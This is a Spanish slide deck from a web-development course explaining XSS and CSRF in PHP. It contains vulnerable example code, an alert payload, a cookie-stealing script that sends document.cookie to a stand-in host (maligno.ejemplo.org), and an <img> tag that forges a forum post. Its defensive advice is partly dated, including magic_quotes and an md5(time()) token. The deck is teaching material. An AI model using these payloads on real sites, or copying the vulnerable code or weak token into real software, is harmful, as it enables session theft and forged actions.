180 likes | 333 Views
Ataques XSS y CSRF. CI-2413 Desarrollo de Aplicaciones para Internet. Seguridad. Podremos hablar de aplicaciones web seguras y inseguras. Por definición una aplicación web segura es aquella que es 100% invulnerable a cualquier tipo de ataque.
E N D
Ataques XSS y CSRF CI-2413 Desarrollo de Aplicaciones para Internet
Seguridad • Podremos hablar de aplicaciones web seguras y inseguras. • Por definición una aplicación web segura es aquella que es 100% invulnerable a cualquier tipo de ataque. • Sobre esta base se pueden considerar las aplicaciones web como inseguras. • Se verá protección contra dos tipos de ataques.
Cross-Site Scripting (XSS) • El error fundamental que conduce a vulnerabilidades de tipo XSS es tener confianza en los datos foráneos. • La recomendación general es desconfiar siempre de los datos del visitante. • Como datos foráneos vamos a considerar cualquier dato que reciba el servidor web. V.G.: correo emitido por un cliente de correo web, un banner publicitario, las citas proveidas por XML vía HTTP, los datos del visitante, ...
Ejemplo de XSS • Considere el siguiente formulario: <form action="/registrar.php" method="post"> <p>Nombre de usuario: <input type="text" name="reg_usuario" /></p> <p>Email: <input type="text" name="reg_email" /></p> <p><input type="submit" value="Registrar" /> </form>
Ejemplo de XSS • Ahora considere el siguiente script de inserción de los datos: if (!get_magic_quotes_gpc()) { $_POST['reg_usuario'] = addslashes($_POST['reg_usuario']); $_POST['reg_email'] = addslashes($_POST['reg_email']); } $sql = "insert into users (username, email) values ('{$_POST['reg_usuario ']}', '{$_POST['reg_email']}')";
Ejemplo de XSS • Imagine el siguiente nombre de usuario: <script>alert('¡Oh no!');</script> • Se puede determinar fácilmente que el código anterior no es nombre de usuario válido, lo cual demuestra que el código que escribimos no es siempre prudente. • Por supuesto, el peligro de XSS reside en el efecto producido cuando los datos son reenviados a otros utilizadores.
Ejemplo de XSS • Despligue por un administrador: <table> <tr> <th>Usuario</th> <th>Email</th> </tr> <?php if ($_SESSION['admin']) { $sql = 'select username,email from users'; $result = mysql_query($sql); while ($user = mysql_fetch_assoc($result)) { echo "\t<tr>\n"; echo "\t\t<td>{$user['username']}</td>\n"; echo "\t\t<td>{$user['email']}</td>\n"; echo "\t</tr>\n"; } } ?> </table>
Ejemplo de XSS • En el ejemplo anterior si los datos no son validados antes de ser guardados, el administrador podrá ser sujeto de un ataque XSS.
Ejemplo de XSS • El riesgo es aún más evidente con algún ataque más vicioso como el siguiente: <script> document.location = 'http://maligno.ejemplo.org/roba_cookies.php?cookies=' + document.cookie </script> • En este ejemplo, el script distante roba_cookies.php puede acceder a los cookies con la variable $_GET['cookies']. Un vez capturados los cookies pueden ser utilizados para lanzar ataques de usurpación de identidad, obtener datos sensibles, etc.
Protegerse contra XSS • Filtrar todos los datos foráneos. • Utilizar la funcionalidad existente: htmlentities(), strip_tags, utf8_decode(), etc. pueden ayudar a escribir la lógica de filtrado. • Solamente autorizar un contenido validado. • Utilizar una convención de nombres descriptiva. • Ser creativo.
Cross-Site Request Forgeries (CSRF) • Este tipo de ataques en lugar de explotar la confianza del usuario explotan la confianza que hace el sitio web a sus usuarios. • CSRF implica la simulación de solicitudes HTTP, por lo cual es muy importante entender las solicitudes HTTP.
Ejemplo de CSRF • Considere un foro hipotético en http://foro.ejemplo.org/ que utiliza el siguiente formulario: <form action="/add_post.php"> <p>Asunto: <input type="text" name="post_subject" /></p> <p>Mensaje: <textarea name="post_message"></textarea></p> <p><input type="submit" value="Enviar" /></p> </form>
Ejemplo de CSRF • Dado que en el código anterior no se indicó POST una solicitud GET es enviada: GET /add_post.php?post_subject=foo&post_message=bar HTTP/1.1 HOST: foro.ejemplo.org Cookie: PHPSESSID=123456789
Ejemplo de CSRF • Considere la etiqueta <img> siguiente: <img src="http://foro.ejemplo.org/add_post.php?post_subject=foo&post_message=bar” /> • Cuando un navegador pida esta imagen va a enviar exactamente la misma solicitud de la filmina anterior. La víctima va a enviar un mensaje en el foro y sin darse cuenta.
Protegerse contra CSRF • Utilizar el método POST en los formularios. • Utilizar el arreglo $_POST en lugar de las variables creadas gracias a register_globals. • No simplificar las acciones importantes. • Obligar al usuario a utilizar nuestros formularios HTML.
Protegerse contra CSRF • Un ejemplo de técnica para obligar al usuario a utilizar nuestros propios formularios es la siguiente: <?php $token = md5(time()); $_SESSION['token'] = $token; $_SESSION['token_timestamp'] = time(); ?> <form action="/add_post.php"> <input type="hidden" name="token" value="<?php echo $token; ?>" /> <p>Asunto: <input type="text" name="post_subject" /></p> <p>Mensaje: <textarea name="post_message"></textarea></p> <p><input type="submit" value="Enviar" /></p> </form>
Lecturas adicionales • PHP Under Attaque: presentación sobre XSS y CSRF • http://talks.php.net/show/php-under-attack/ • XSS • http://httpd.apache.org/info/css-security/ • http://www.cgisecurity.com/articles/xss-faq.shtml • http://www.php-secure.info/v2/article/XSS.php • CSRF • http://www.tux.org/~peterw/csrf.txt
Proyecto de seguridad • XSS: • HTMLfilter es un proyecto para PHP que analiza todos los datos HTTP antes de ser utilizados.